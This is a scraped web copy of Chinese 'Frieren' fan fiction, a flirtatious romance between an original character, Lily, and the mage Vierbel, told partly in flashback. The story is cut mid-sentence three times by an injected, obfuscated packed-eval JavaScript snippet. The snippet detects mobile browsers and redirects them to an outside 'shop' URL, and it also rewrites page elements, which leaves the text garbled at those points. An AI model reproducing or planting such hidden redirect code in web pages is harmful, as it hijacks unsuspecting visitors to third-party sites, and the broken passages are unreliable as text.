《[葬送的芙莉莲]The End》 1. The End(一) *推荐找个“凯尔特音乐”歌单做bgm,看文会更有氛围感 1. “听说你会解决晕船的魔法?” “没错。” 哼哼!商机只会留给有准备的人,在海港附近摆摊,这钱是我应赚的。 见我态度肯定,说话的男人松了口气:“太好了,真是帮大忙了……”听起来晕船症状很严重的样子。 但是我得告诉他,他这口气松早了,因为我现在要告诉他一个好消息,以及一个坏消息。 “什么?” 好消息是,我确实会解决晕船的魔法。 “那不就行了……”对方不以为意地说道,然后因为被同行的女孩瞪了一眼,而不得不追问我,“好吧,小姐。坏消息是?” 我将遮住大半张脸的兜帽拉得更低了一些,身前的吊坠随着我的动作晃了两下。 “坏消息是,我对你一见钟情了。” “……哈?” “那个,维亚贝鲁,其实我觉得这听起来好像也不算是坏消息?”站在他身侧的青年说道,是他的另一位同行者。 “……” 名为“维亚贝鲁”的人没有说话。但我能感受到,在惊诧过后,他开始用审视的目光打量我,一副若有所思的模样。 “事实上,这真的不是什么好事。”我晃了晃手指,对眼前的三人解释道,“其实,我背负着一个家族诅咒。” 被我喜欢的人,会英年早逝。 “有意思。不过,比起不知道什么时候出现的诅咒,还是即将发生的晕船比较麻烦。”维亚贝鲁笑了一下,“反正,人本来就会死的吧。” 哦!这话很酷,我喜欢。 “抱歉,我知道这有点失礼,因为这可能会让你想起来一些不美好的回忆。但是,可以麻烦你详细说明一下你中的诅咒吗?”一行人里的女孩说道,“我的爷爷是一级魔法使,他或许有消除诅咒魔法的办法。” 啊,多么闪闪发光的善良…… “小姐,你真是个好人。”我感叹道,“再说下去我都要喜欢你了。” “……谢谢?”她有些不好意思地挠了挠脸颊。 “喂。”维亚贝鲁终于开口说话了,“你到底要对几个人表白啊,先是我,又是艾露,接下来是夏鲁夫吗?快别闹了……” “维亚贝鲁,你这样讲话有点过分吧。”艾露不赞同地说道。 “不是的,艾露小姐,他确实有立场说这种话。”我抿唇一笑,摘下了兜帽,让自己的面容完整地展露出来,与维亚贝鲁对视,“好久不见,维亚贝鲁,很高兴再次见到你。” “果然是你啊,莉莉。”维亚贝鲁一脸了然的模样。 艾露:? 夏鲁夫:? 见同伴们对他行注目礼,维亚贝鲁稍稍目移,语气有些无奈:“你们这样看着我做什么?我之所以那么说,是因为五年前我就听过同样的话。” “看吧,我活得好好的。”他说。 “……” “维亚贝鲁。”还是夏鲁夫先开口说了话,不过表情很一言难尽,“五年前你被表白的时候,也是这副态度吗?” 2. “我们在附近的餐馆用餐时,老板恰好听到维亚贝鲁抱怨晕船,就建议我们来找你。”艾露解释道。 由于北方边境地区形势恶化,作为北部魔法队长的维亚贝鲁要尽快赶回去,所以哪怕晕船,他依然选择了海路。而在抵达帝都海港之前,与他一起参加了一级魔法考核的艾露和夏鲁夫都会和他同行。 “原来如此。”我恍然大悟,决定收摊,“那我和你们一起吧。” 艾露:? 夏鲁夫:? “虽然我已经习惯了你说话的风格,但对他们来说未免太突然了。”维亚贝鲁随手拿起我摊位上的药剂瓶,把玩起来,“不过你没有去北边的理由吧?” “诶——”我变出了法杖,让瓶瓶罐罐们按部就班地落在了箱子里,“我还以为维亚贝鲁知道我为什么在这里呢,毕竟这是距离奥伊萨斯特最近的港口。” 维亚贝鲁的动作僵了一瞬,用略带惊讶的目光看向我:“别告诉我,你是因为这个才……” “就是你想的那样,我就是因为维亚贝鲁才学了治疗晕船的魔法。”我弯了弯嘴角,看他一眼,“或者你其实是想听我说,我在等你?” “……听着,我不建议你去北方边境。”维亚贝鲁皱眉道,“你这几年都在南部,根本不清楚那边的情况有多么严峻。” “维亚贝鲁,每个人都有自己想去的地方。”我收起了法杖,朝他伸出手,“顺带一提,你手里的那瓶是迷情药水。” 青年顿时像是被烫到手一般,把玻璃瓶塞到了我手里:“你连这种东西都卖——” “骗你的。”我吐了吐舌头,朝他做了个鬼脸,“只是普通的提神剂。” “……” “那个。”艾露试探地说道,“距离开船的时间不远了,如果你们想要继续叙旧,或许可以到船上再说?” “我和她不熟,没有什么好叙旧的。”维亚贝鲁说道,看起来不太高兴,大概是因为我刚才开的玩笑,也可能是因为别的。 “嗯嗯。”我朝他抛了个媚眼,“既然没旧可叙,那就可以发展一下新感情吧。” 维亚贝鲁:…… 3. 不得不说,我的魔法非常有效,维亚贝鲁上船之后头不晕了,眼不花了,心也不慌了。 “听起来像是我从老头子返老还童了一样。”维亚贝鲁谴责我,“我还没到那种年纪吧。” “维亚贝鲁居然在意起年龄了!”我惊讶地看着他,因为他之前可不是这样的。之前见面的时候,他可是经常喊我“小姑娘”来着,表现得很成熟的样子。 不过现在的我也可以表现得很成熟了,毕竟已经过去了五年,我长大了五岁呢。 “需要我提醒你,我们之间的年龄差没有发生任何变化吗?”维亚贝鲁说道。 “是吗?我还以为时间在维亚贝鲁这里停住了呢。”我笑眯眯地说道,“因为你看起来风采依旧,甚至更加让我心动了。” “……” 一旁的艾露和夏鲁夫嘀嘀咕咕了几句,最后夏鲁夫被艾露推了一把,走到了我们面前,犹犹豫豫地问我,是不是专门跟餐馆的老板提过我会解决晕船的魔法。 哎呀,被发现了呢!真是有够敏锐的。 “没错,这是我放下的钓饵。”我一本正经地说道。 我确实特意和很多店员说过这种话,目的就是把一定会来到这里的维亚贝鲁吸引过来。当然,在通过一级魔法使的测验后,他是有可能走陆路的——但是走陆路的速度太慢了,维亚贝鲁这样有责任感的人,就算把自己晕死,也绝对会走海路。 “莉莉小姐,你好了解维亚贝鲁。”夏鲁夫一脸佩服。 “是啊,我猜也许维亚贝鲁他本人都没你那么确信他能够顺利通过测验。”艾露说道,“冒昧地问一下,你们五年前是怎么认识的?” “你们可别信这家伙的胡说八道。”维亚贝鲁靠在甲板的护栏上,看向广阔的大海。海风吹得我们的衣服发出猎猎的声响,他银色的耳环在日光下熠熠生辉,这让我下意识地摸了一下自己柔软的耳垂。 维亚贝鲁说我这个人讲话目的性很强,总是有所图谋,属于见什么人就说什么话——他亲眼见过我跟人说自己擅长占卜,刚好您最近有血光之灾,然后趁机推销辟邪道具,赚上一笔又一笔。 “原来你知道我图谋你。”我也靠在栏杆上,托着脸看他,“但是,久违的欣赏大海的感觉,很不错吧?” 维亚贝鲁哼了一声,伸出手指弹了一下我的额头:“还不错。” “哇,恩将仇报!”我捂着额头看他。 “谢了。”他说,目光又落在海面上。 “不客气。”我和他一起看海,“反正本来就是为了你。” “……你讲话什么时候能正经点?” 4. 傍晚坐在船上的餐厅里点餐时,我对维亚贝鲁的两位同伴也已经有所了解。 夏鲁夫和我一样是自学成才的,而艾露则是毕业于魔法学校,在读期间就是学校里的首席,早在看到她的第一眼时,我就注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635526|156306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意到了她魔力水平的强大。另外,艾露一看就是那种会选择正面战斗的、不会说谎的类型,我因此相信她说她爷爷是一级魔法使什么的——她是真心想帮我解决诅咒,这让我很感动。 “……莉莉小姐和维亚贝鲁对我的评价倒是如出一辙。”艾露惊讶道,“感觉你们都很会看人,是阅历的问题吗?但他也就算了,我们俩的年纪应该差不多吧。” “什么叫我就算了?艾露,你太单纯了,有些事情和年龄无关。”维亚贝鲁这么说着,同时凑过来看向我拿着的菜单,用手指点了点菜单的某处,“这个蜂蜜蛋糕你应该会喜欢。” 我说我也觉得。 坐在对面的艾露和夏鲁夫默默对视了一眼。 “……” 其实艾露说得没错,我确实比她大不了几岁,但我也说过了,我是自学成才的。在艾露就读于魔法学校的时候,我已经在外闯荡,不然也没办法登上这艘船——现在是出行的旺季,去往帝都海港的船票不怎么好买,临时起意要走更是难上加难。 但我帮过船长一个大忙,所以可以作为客人临时登船,就连用餐水准都一并升级了。 之前艾露问过我是怎么帮助船长的,我说船长曾经在寻找某个失落的宝藏,前不久终于确定了宝藏所在的地点。夏鲁夫就问我是不是帮船长找到了宝藏,我说这倒不是,我只是在他被海怪袭击,差点船毁人亡的时候,顺手救了他和船员们。 因为这次危险的经历,船长对我很是感激,也放下了对宝藏的执着。 维亚贝鲁挑眉,没说话。 直到夏鲁夫和艾露离开甲板的时候,他才俯身在我耳边低声说道:“如果我没猜错,宝藏在那个地点的消息是——” 我答非所问:“船长太太很担心丈夫会在一次又一次的冒险中送命。” “哼……”他的语气有些意味深长,“感人的爱情故事。” 酬劳也很感人,我在心底补充。 “羡慕了?”我眨了眨眼睛。 “等我快送命的时候吧。”维亚贝鲁说道。 5. 虽然艾露是真的想在我说的“诅咒”方面帮我,但诅咒这种东西,实在是听天由命的存在……无法破解的魔法称之为诅咒,而这样的魔法通常是魔族才会使用的,人类很难解析。比如最有名的诅咒“黄金城市维伊泽”,整座城市里的一切都被变成了黄金,就此停滞在数十年前,至今无人可解。 “艾露小姐,非常感谢你的好意,其实我个人不是很相信那个诅咒的存在……”我垂眸,看向自己眼前的餐盘,“毕竟魔族并不懂得人类的情感。” “但是你说那是‘坏消息’,我想一定是发生了什么……”艾露说道,看起来很担心我。 哎呀,维亚贝鲁的运气还真是不错,只是参加测验而已,遇到的队友也相当可靠嘛。 不等我用自嘲的借口搪塞过去,一块被切好的蜂蜜蛋糕落在了我面前的餐盘里。 是维亚贝鲁。 “嘛,难得遇见,我们就不聊这么沉重的事情了吧。”他说。 我偏过头来看他。 这话说得可真洒脱,好像他不会被那个诅咒波及一样。 “夏鲁夫和艾露不是很好奇我们之间是怎么认识的吗?”维亚贝鲁岔开了话题,“稍微讲一讲应该可以吧,莉莉?” 对面二人的注意力果然被转移了。 “你真的打算说?”夏鲁夫惊讶道。 “我也以为他会不让我说呢。”我用叉子戳起蛋糕,咬了一口,忍不住眯起了眼睛。 绵密的、松软的口感。 好喜欢。 “不讲出来他们才会多想。”维亚贝鲁一脸无所谓的态度。 “但是维亚贝鲁,对朋友说自己的爱情故事……”我解决掉蛋糕,回头看他,“你不会不好意思吗?” “别开玩笑了,我是那种会回避过去的人吗?”维亚贝鲁不为所动,“再说了,一直胡言乱语的人又不是我。” “没否认爱情故事呢。”艾露说道。 “嗯,没否认……”夏鲁夫说道。 “喂!” 2. The End(二) 6. 五年前,我和我的两个伙伴在北部城市提尤亚采买物资。 那时候我19岁,米娅22岁,卢卡斯24岁。 米娅自称是吟游诗人,她喜欢到处旅行,想要知道世界的尽头在何方,而卢卡斯喜欢米娅喜欢的一切。他们俩都是很单纯的好人,于是只偏爱赚钱的我也加入了这支冒险者小队。平日里我们会靠接取各种委托为生,也会摆摊卖点东西什么的,总之生活充满了未知和快乐。 “卢卡斯好慢,他换武器难道是要从挖矿阶段开始吗?”我看着手里的纸牌抱怨道,“看在牌面不错的份上,我还可以等他一支烟的时间。” “啊,令人忧心的卢卡斯,他一定是跌入了迷茫的河流。”米娅说道。 “米娅,说人话。” “哦,卢卡斯的好奇心旺盛得像条狗,估计是被转移了注意力。” 好的,不愧是青梅竹马的恋人,吐槽起来毫不留情。 “话说今晚真的会下雪吗?”米娅看向晴朗的天空,“就算是北部地区,这个时间也比平时早了一个多月吧?” 我整理起了纸牌,准备收摊:“米娅,你见过我讲多余的话吗?” 作为一个功利主义者,我从不讲废话。虽然我自学的占卜不一定多么靠谱,但如果今晚真的有暴风雪,在物资充足的提尤亚落脚可比在小镇住宿要好太多了,毕竟这场寒潮会持续一个多月呢。 米娅没说话。 片刻之后,她深吸了一口气,站了起来,激动地说道:“你看那边那个人——” 怎么了,是终于决定把卢卡斯踹了吗? “根据我的观察,那个人看起来像是你的‘人生结尾’!” ……哦,这样。 不是我说啊,我感觉吟游诗人可能都有比较奇妙的精神状态,因为每到一个地方,米娅就会说类似的话。 上上次她指着辛美尔大人的雕像说我肯定很迷恋他,我说拜托,谁会不喜欢伟大的勇者大人啊!至于上次,那就更过分了,她居然指着一头奶牛说这绝对是我喜欢的类型——好吧,那头奶牛的牛奶的口感偏甜,我确实很喜欢…… “别开玩笑了。”我才不信她的胡说八道,但还是顺着她指着的方向看了过去。 然后我就怔住了。 ……诶,这次好像有点道理。 乱发,斜刘海,颈环,好多耳环,腿环,长靴,高挑的身材,意气风发的眼神,贴了一块纱布的脸颊……虽然有着凶巴巴的外表,但在和别人说笑的时候又显得很成熟可靠。 好一个危险又迷人的男人。 “看得我都有点想打耳洞了。”我嘀咕道。 “快去和他搭话吧!”米娅鼓励我,“女神在指引你。” 我看向纸牌最上方的“命运女神”之牌。 “好,如果今天还能再次遇到他……”我点了点头,“我就去和他表白。” “诶,不是搭话吗?!” 7. 当天下午,我们在城中的一家餐馆吃饭的时候,再次遇到了那一行人。 “啊?你喜欢哪种人?”卢卡斯诧异道,“恕我直言,那家伙长得像是路过的狗都会踹两脚的类型……米娅,别踹我别踹我,我是认真的!” 真正的踹狗者:米娅。 狗说……哦不是,是卢卡斯说,他说那人身上有鲜血的味道,可能手上有人命,危险得很。 “就你的狗鼻子最灵是吧?”米娅不满道。 卢卡斯唯唯诺诺。 “别担心,他不是什么坏人。”我插了句话,“你们知道佣兵吗?平时主要和魔族作战的那种,在北部边境很有名。” 米娅和卢卡斯一起对我竖起了大拇指:“好眼力。” 其实这和眼力没什么关系,虽然我已经有所猜测,但能从外表看出的信息实在太有限了,所以这些内容是我打听到的,这些人不是第一次来这座城市,想要知道他们属于北部魔法队,并不算很难。 不过这话我是不会说的,就让那两个笨蛋好人继续佩服我吧。 “总之,我要上了。”我站了起来,“朋友们,记得为我加油哦。” 那一行人本来在说笑,但在看到我目标明确地走过来之后,他们不约而同地沉默了下来,像是因为领地被入侵而下意识地警觉起来一样,不愧是佣兵部队的人。 有的人带着几分好奇打量着我,有的人则是直接扭头看向为首的那个人,仿佛在等待指令,而我要找的那个人正是他们的领导者。 见我在打量他,手握着木制酒杯的青年抬眼看我:“小姑娘,有什么事吗?” 声音很好听诶。 “你好,我想知道你的名字。”我选择开门见山,“如果你不告诉我,我就去问别人。” “……” 青年怔了怔,大概是没想到我这么直白,随后像是觉得有趣似的笑了一下:“没那个必要,名字本来就是供人称呼的。我是维亚贝鲁,你找我?” “维亚贝鲁先生,我是莉莉。”我认真地说道,“是这样的……” “我对你一见钟情了。” “……噗、咳咳咳。” ……啊,忘记提醒他不要在我讲话的期间喝东西了。 而在他咳嗽的时候,他身边的同伴们纷纷端起了自己的酒杯,飞速地挪到了另一张桌子上,然后用一脸“我懂,我都懂”的表情,自以为不动声色地观察起了我们这边。 哎呀,非常感谢他们创造的相亲角。 维亚贝鲁瞪了他们一眼,这才看向我:“小姑娘,你刚刚才知道我的名字……你不觉得这有点太草率了吗?” 我一脸无辜:“一见钟情不就是看脸吗?” 维亚贝鲁:? 哦,我懂了,他可能想让我夸他。 于是我让老板给我拿了一杯牛奶,然后坐到了他对面,继续开门见山:“维亚贝鲁先生长得很帅气,我很喜欢。” “……” 另外,我也很喜欢他的耳环和颈环,很酷! 而且就是,我能感觉到他很强大,不只是魔力,还有那种经验很丰富的感觉……喜欢! 还有,他笑起来的时候特别好看,感觉坏坏的,喜欢! 什么,脸上的纱布?负伤是正常的,这可是勋章……战损并不影响他的帅气,这是加分点,喜欢,全都喜欢! 当然,在负伤的情况下,最好还是不要饮酒哦。 维亚贝鲁沉默了。 与此同时,我听到他的那些同伴们正在发出一些古怪的惊呼声,宛如野生动物。 “……闭嘴,你们太大声了!”维亚贝鲁再次回头,瞪了他们好几眼,然后才看向我,我感觉他的神情莫名有些恼火,“我还不需要别人来教我常识。” 哦哦,是在跟我解释说他的杯子里不是酒。 “莉莉小姐,恕我直言,我以为这种事情至少应该建立在互相了解的基础上,而不是随便把那种词挂在嘴边。”维亚贝鲁说道,“‘轻浮’不是你这个年纪应该拥有的品性。” 态度好认真,发言也好成熟……原来这就是年上的感觉啊。 “嗯嗯,我会改正的。”我双手捧着脸看他,“但是这是需要红着脸说的事情吗?顺便,能多喊几次我的名字吗?你喊我名字的时候声音特别好听。” “……你也闭嘴好了。”维亚贝鲁没好气地说道。 我才不听他的。 “维亚贝鲁先生,请问你有恋人吗?”我问他。 “这倒没有。” “那就好。”我露出一个发自内心的笑容,“那么,请让我开始了解你吧。” 9. 不只是维亚贝鲁和他的队友们听得目瞪口呆,就连米娅和卢卡斯也被我这番真挚的表白给惊住了。在我返回我们的餐桌后,米娅立刻放下了手里的柠檬汁:“亲爱的,你会不会有点太直接了?” “就应该直接。”我理直气壮道。 首先,维亚贝鲁比我年长,我想他一定经历过许多事,见过许多人,拥有更多的阅历——所以寻常的表白一定不能打动他,我必须足够真诚。 卢卡斯犹豫道:“但你的口才过于好了,说话一套一套的,这反而会导致你不太真诚可靠。” “哦,这方面他已经质疑过了。”我说。 这就是所谓的“其次”。 回到片刻之前。 “说吧,你对多少人一见钟情过?”维亚贝鲁说道,看起来又恢复了往日的镇定和游刃有余,这样的他我也很喜欢。 不过我早就猜到,就算维亚贝鲁会因为我一开始说出的那些直白的话而感到错愕,但他很快就会质疑我是不是对许多人说过这样的话。 事实上,如果不是遇到了米娅和卢卡斯,说不定我会变成欺诈犯然后被抓进大牢,因为我确实是个很爱说漂亮话的人——我从不避讳说谎,只要是为了达成目的。 “真让人伤心。”我唉声叹气,“看来我只好每天对你表达我的真诚,这样才能够证明你对我来说是‘最特别’的了。” 维亚贝鲁:? “每天?”他抓住了关键词。 “今晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635527|156306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会有暴风雪。”我告知他占卜的结果。 “不可能吧?”维亚贝鲁看了一眼外面的天色,“时间不对。” 如果一切如常,我和维亚贝鲁就只会是萍水相逢的过客,因为他只是和队友们来提尤亚暂作休整的,而我也会和朋友们继续旅行,之后不知道何年何月才能再见。 但是,命运般的雪花即将落下。 顺带一提,我不建议他赶在暴风雪之前离开提尤亚,因为这样会让他们一行人困在路上,北方诸国的冬季有多么危险,他应该比我更清楚。 “这就是缘分。”我笑眯眯地说道。 我们在接下来的一个月都会停留在同一个城市呢。 “……就算会下大雪,在雪停之后,我们还是会各走各的路。”维亚贝鲁说道,“我们的目的地是不一样的。” 我说这倒未必。 就像维亚贝鲁也有他必须做的事情那样,米娅想要环游大陆,卢卡斯也会一直追随米娅。可我不是,我没有长期目标,更不知道自己人生的终点在何方——我姑且正在寻找它。 “听起来你过得很空虚。”维亚贝鲁用探究的眼神看着我,“像你这个年纪的小姑娘,很少会出现这种情况。” 真是一针见血呢。 “对我感到好奇了吗?”我眨了眨眼睛,“其实我的意思是,因为我不知道之后打算做什么,所以如果你想让我跟你走……” “你一定渴了。”维亚贝鲁迅速地把我的杯子塞到我手中,“喝完快回你的朋友们那里。” 10. “以上是我和维亚贝鲁相识的过程。”我总结道,“好了,你们好奇的事情就是这些,现在是发表感想的时间。” 沉默是今晚的艾露和夏鲁夫。 不错,看来我的表白果然真挚,就连听故事的人也一起呆住了呢。 “你们一起相处了一个多月。”夏鲁夫似乎在艰难地组织语言,“维亚贝鲁,这能被称为‘不熟’吗?” “自欺欺人。”艾露点评道。 “那还真是抱歉。”维亚贝鲁切着餐盘里的肉排,语气里有些意味不明,“可我们确实没那么熟——莉莉,你说是不是?” 是啊,只是一起看日落的关系呢。 之后艾露和夏鲁夫也讲了一些他们在魔法使考试中遇到的事情,在听到“芙莉莲”这个名字时,我不由得有些惊讶。 是勇者那一行人里的芙莉莲大人吗?这么巧。 维亚贝鲁留意到了我的神情:“你见过她了?” “对。”我点头,“之前我在途经中央诸国的某个村庄时遇到了两只幻影鬼,因此与她们有过一面之缘。” “以你的水准应对这种魔物想必绰绰有余,就算有两只。”艾露说道,“书上说幻影鬼本身并不强大,只是比较狡猾。” 是这样的,我甚至有对付幻影鬼的经验。早在我年少时,我就曾和米娅、卢卡斯遇到过这种魔物,还获得了诺尔姆商会的感谢。 “……但我逃走了。”我垂眸道。 我如此无能。 “诶?”艾露和夏鲁夫都很惊讶。 头发被人轻轻地揉了几下。 “别这样。”维亚贝鲁收回手,他的眼神里有一些我读不懂的情绪。 可能是怜悯,我猜。 “你之后回去了吧。”他用确定的语气说道。 ……是的,我不想因为自己的无能而导致更多的人遇害,所以片刻后就选择了原路返回,决定除掉幻影鬼。然后我就遇到了芙莉莲大人和菲伦小姐,她们在我之前做成了这件事。 “总之顺利解决了就好。”艾露接过话来,用手臂碰了一下她身旁的夏鲁夫。 夏鲁夫回神,也跟着点头:“对,而且看到幻影的时候产生动摇是很正常的……” 是的,这很正常。 但如果是维亚贝鲁,他一定可以干脆利落地解决掉吧。 我不由得看向他。 “不要和我比较。”维亚贝鲁靠在椅子上,懒洋洋地说道,“如果我做事不果决一点,那我早就死在和魔族残党的对抗中了。” 也是。 不过如果他死了,说不定我看到的幻影鬼会变成他哦? 身旁的人笑了一声。 我问他笑什么,他说这听起来不错。 什么嘛,难道是因为我会记得他? 维亚贝鲁再次用我先前看不太懂的眼神看着我,但我这次突然后知后觉地明白了那种情绪的含义。不是怜悯,而是…… “那样你反倒不会犹豫。”他说。 3. The End(三) 11. 用餐结束之后,我们各自回了住宿的舱房。 维亚贝鲁和夏鲁夫是同一间,而我和艾露在同一间。我很喜欢艾露,她相当善解人意,我想她绝对已经听出了被我含糊其词过去的一些事,但她很体贴地没有提起。 “我以为你不会直接和我一起回来呢。”艾露坐到了床边,“你应该想和维亚贝鲁再单独聊聊吧?” 我说对,所以我等一下还会出去。 艾露:? “你们已经约好了?” 我摇头。 “好吧。”她无奈道,“比起这个我想说,既然你已经见过了芙莉莲……你知道的,精灵漫长的人生会让他们拥有更多的知识,或许她能够给予你想要的答案。” 我知道艾露的意思,她是在为我着想。 “嗯,其实我就是问过她关于‘诅咒’的事情,才决定回到北边的。”我打开了我的箱子,一边在里面挑挑拣拣,一边回答她。 “她怎么说?”艾露连忙问道。 “芙莉莲大人说……” 我的脑海里浮现出了那位看起来非常年轻的精灵少女。 “原来如此,百合花法杖,金色的眼睛……这是那位老先生说的他妻子的模样。”芙莉莲恍然道,注视着我的眼神依旧充满平静,“看来你不知道,同样的问题我在当年就已经回答过了。” “……” 再次回过神来的时候,我的手里已经握住了我要找的瓶子。 “……依旧是个坏消息。”我回答艾露。 12. 深夜不适合看海。 海面黑漆漆的,像是一望无尽的深渊,神秘又危险的气息扑面而来,如果长时间注视,很容易感到不安。 “看来危险的味道是湿漉漉的腥味。”我趴在护栏上点评道。 “那么,危险的反义词呢?” 夜晚的海风有些冷,不过有温暖的触感落在了我的肩上。我偏过头来,看向提问的维亚贝鲁,然后才将目光落在了披在我身上的大衣上。 嗯……危险会让人感到不安,那么它对应的反义词,应该是“安心”吧? 我不客气地将大衣裹得更紧了一些,然后和他对视。 “是维亚贝鲁。”我说。 “……虽然我只是随口一问,但你能不能回答点别的。”维亚贝鲁背靠在栏杆上,“偶尔也稍微认真一些吧。” 我撇了撇嘴。 不信就算了……我可认真了。 “话说回来,就算我已经克服了晕船,我们也不至于在这个时间跑到甲板上吹风吧?”他拨开眼前被风吹乱的头发,“还是说,你悄悄学会了可以给自己保暖的魔法?” 保暖的魔法? 我沉思了一会:“好像还真有。” “嗯?这么实用的魔法可不能藏私。”维亚贝鲁说道。 “想学?”我看他。 “对啊,毕竟寒潮可是很麻烦的,动不动就要持续一个月以上。”他一脸坦然。 我勾了勾手指:“那你靠近点。” 维亚贝鲁:? “口述啊。”他诧异道,“没有魔导书之类的吗?” “嗯,这是民间魔法。”我点头,“所以,快点靠近我。” “行吧。” 在维亚贝鲁照做,朝着我靠近了一步的瞬间,我转过身来,一言不发地撞到了他怀里。 我抱住了他。 “……喂,莉莉,你怎么搞偷袭?”他说。 从肩上滑落的大衣被维亚贝鲁及时伸手接住,这次覆上来的不只有带着体温的布料,还有他结实的手臂。 我恶人先告状,明明是他的警惕性太差了。 维亚贝鲁说好吧,他下次会注意提高一下的。 我说那这次呢? “这次就先借你抱一会。”维亚贝鲁说,“不过,这算什么保暖魔法……” 我闷声道:“我发明的。你不满意?” 维亚贝鲁似乎是笑了一声,因为我能感受到通过胸腔传来的震动感。 “小姐,我以为这时候说什么话并不重要。”他低头,下颌抵在我的头发上,将我圈得紧了一些,“你总能判断我是否诚实。” 我想,维亚贝鲁说得对。 心跳声不会说谎。 13. 和维亚贝鲁认识的那晚,提尤亚飘起了鹅毛大雪。 “寒潮居然真的提前了……”维亚贝鲁震惊地看着窗外的景象,而卢卡斯和米娅则是默默地对我竖起了大拇指。 我们三人和北部魔法队的成员们入住了同一家小旅馆——想做到这一点并不难,在离开餐馆后,我是直接光明正大地跟着维亚贝鲁一行人走的。 问就是提尤亚那么大,我想往哪走就往哪走,我想住哪就住哪。 维亚贝鲁脸上的纱布已经摘掉了,那本来就只是临时做的处理。他原本对我颇有意见,但我的提醒到底让他提前做了准备,比如采买更多的物资,以及联系不在这里的成员等等,这让他对我稍稍刮目相看。 “厉害啊小姑娘,你的占卜很可靠嘛。”他说。 我抬起下巴,一脸骄傲:“我对你的喜欢也很可靠哦!” “……” 相较于和我相处,维亚贝鲁更喜欢和卢卡斯聊天,可能是因为他们都是男性。听到我们的对话,卢卡斯连忙说,这一路上多亏有我,别看我年纪小,可我是真的靠谱,不仅会占卜,而且还会很多奇妙的魔法,是这支冒险小队里的最前途无量的成员。 维亚贝鲁时不时地点头,用“哇哦”和“确实”之类的话来表达肯定,然后在卢卡斯转头和米娅说话的空隙,似笑非笑地看了我一眼。 我知道他是什么意思,他是想说卢卡斯的夸奖有点刻意。 但那又怎么样,我觉得卢卡斯做得很好。 因此我理直气壮地看了过去,和维亚贝鲁对视——不看白不看,反正我也喜欢看他。 最后是维亚贝鲁不自在地移开了视线,再次和卢卡斯聊了起来。 好耶,我赢了! “卢卡斯那个傻瓜只是想为你的爱情做点贡献。”米娅笑眯眯地说道,“好了莉莉,可以吃这只红薯啦。” 彼时我们正在小旅馆一楼的壁炉边开小灶,北部魔法队的其他人都在楼上,维亚贝鲁是由于睡不着打算下楼看看,恰好遇到我们在烤红薯。 见者有份,壁炉里的火焰很温暖,烤红薯的香气也是。 看到米娅直接把第一个烤好的红薯递给了我,维亚贝鲁露出了恍然的神情。我猜他一定是在想,难怪我说话总是自顾自的,十分任性,原来是被伙伴们惯的呀。 “是这样的,”我一本正经地说道,“在这支队伍里,我是米娅和卢卡斯的小孩。” 维亚贝鲁:? 不等他说话,卢卡斯就红着脸吱哇乱叫了起来:“我我我我和米娅还没结婚呢!” 米娅捂住了他的嘴,说太丢人了,让他小点声。 于是卢卡斯变成了正在被加热的红薯,看起来烫烫的。 维亚贝鲁瞧了片刻,然后问我:“他们什么时候结婚?” “快了吧。”我回答他,然后咬了一口烤红薯,“可能要等到米娅觉得我可以真正独立的时候。” 口感香甜,绵软,很好吃。 “这个好甜。”我感叹道,然后看他,“你要吃吗?” 维亚贝鲁挑眉:“怎么,你打算分给我?” 说得好像我很护食一样。 “……我可以再给你拿一个。”我眨眼睛。 “没诚意,那是人家米娅烤的。”他说,“你可真会做顺水人情。” 我说你这人事好多。 维亚贝鲁说那太好了,快去找一个事少的男人喜欢吧。 我:? 原来是在这等我呢。 我转了转眼睛。 “维亚贝鲁。”我唤他的名字。 “怎么了?” 我歪着头看他:“你睡不着不会是因为我的表白吧?” “……感觉突然困了。”维亚贝鲁站了起来,“走了,再见。” 我连忙拉住了他的袖子:“等等。” 维亚贝鲁停住了脚步。 “真的很甜。”我仰着头看他,把掰了一半的烤红薯举起来递过去,“和莉莉一样甜哦。” “……后半句可以不说。” 14. “早上好,维亚贝鲁!” “……早。”维亚贝鲁抓了抓有些乱的头发,“大小姐——打个商量,你能不能不要每天早晨都站在我房间门口问好?” 我说也可以,反正问好只是次要的。 “好呀。”我点头,“那我就在等会吃早餐的时候跟你说‘今天也很喜欢你’。” “原来这句话不包括在‘问好’里吗……” 吃早餐的时候,卢卡斯说他准备了很久的宝藏终于要发酵好了,让我和米娅等着喝。 “你的配方真的没问题吗?就酿出来这一小桶,还不够我们三个人分的呢。”米娅怀疑道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635528|156306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哦不对,现在是四个了,还要算上维亚贝鲁。” “他们在说什么?”维亚贝鲁看我。 